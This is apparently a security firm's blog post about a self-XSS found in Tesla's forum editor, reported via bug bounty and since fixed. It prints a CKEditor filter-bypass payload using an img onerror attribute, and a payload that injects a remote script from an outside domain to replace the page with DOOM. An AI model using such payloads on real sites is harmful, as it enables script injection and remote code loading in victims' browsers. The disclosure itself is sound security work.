What is Detectify?

How we invented the Tesla DOM DOOM XSS

July 27, 2017

Many have seen the video where vexal modifies his Porsche 911 to run DOOM. It is the same guy who used a toaster to control a PC game a few years ago. How technically accurate these videos are can be discussed, but the underlying creativity is hard to question. Naturally, when we saw the video, we did not want to lag behind, but what is the best way to respond to something like this? As we work with web security, that would, of course, have to play a key role.

Note: We contacted Tesla (who have a bug bounty program) about this and the issue is now fixed.

Step one was to choose the target. He did Porsche… and we will do Tesla. A more hyped car company is hard to find, and after all, if you had to guess which car company has something to do with DOOM, Tesla would most likely be at the top of that list. Next up is the method. While buying a Tesla as marketing or research expense would be a lot of fun, we are not a car security company, but work with web security. There is also the distinct possibility our investors would not agree that a Tesla is a reasonable expense for a blog post. All things considered, hacking their website made much more sense.

Here comes the next problem – rumor has it that people do not appreciate it if you replace their website with a game just because you want to play. So it had to be fairly innocent, and at the same time have something to do with DOOM. See where this is heading?

The DOM DOOM XSS

We had to invent the DOM DOOM XSS. After some googling it seems like it has not been done before, but feel free to enlighten us. We gladly give credit where credit is due.

The technical aspect of this is pretty straightforward. We hosted a web version of DOOM at a domain we own (feel free to try it out) and went on to find a DOM XSS at Tesla. The DOM XSS was soon thereafter found at forums.tesla.com (it should be noted it is a self xss, meaning very limited potential impact).

We located the field under the Insert HTML button. That is what we were going to use. The function called when pressing that button is InsertHTML();

function InsertHTML() {
    var editor = CKEDITOR.instances.editor1;
    var value = document.getElementById('htmlArea').value;

    if (editor.mode == 'wysiwyg') {
        editor.insertHtml(value);
    } else {
        alert('You must be in WYSIWYG mode!');
    }
}

We now see that this function uses InsertHtml, so fire up the documentation for that function.

InsertHtml documentation

As value is the only parameter passed in editor.insertHtml(value) the mode will default to ‘html’ as per the documentation.

As can be understood by reading about ‘unfiltered_html’, ‘html’ implements a filter which we would have to bypass. We could now continue digging our way towards the holy game by clicking on the next link to CKEDITOR.filter. However, if there is anything the websec community should have learned by now it is that most filters are bypassable, so let us leave that part as an exercise for the reader.

To sum it up, after playing around with it we ended up with the following payload:

<img src="/" =_=" title="onerror='alert(document.domain)'">

And sure enough, the familiar little box telling us it worked was not far away:

We got a script replacing the whole page with an iFrame to the game hosted here, so now just a few lines of JavaScript to load in that script:

var w = window.top.document;
var x = w.createElement("script");
x.type = "text/javascript";
x.src = "https://doom.fredrik-almroth.se/exploit.js";
w.getElementsByTagName("head")[0].appendChild(x);
window.top.history.pushState("", "", "/doom.exe");

(all credit to @caiiiycuk for js-dos that was used for the game)

Combined with our previously found payload, it results in this mess:

<img src="/" =_="

title="onerror='var/**/w=window.top.document;var/**/x=w.createElement("script");x.type="text/javascript";x.src="https://doom.fredrik-almroth.se/exploit.js";w.getElementsByTagName("head")[0].appendChild(x);window.top.history.pushState("","","/doom.exe");'">

All that is left to do now is going to the vulnerable page, pasting the payload in the text field and pressing Insert HTML.. and voilá:

 

 


Linus Särud   Fredrik Almroth

@_zulln              @Almroot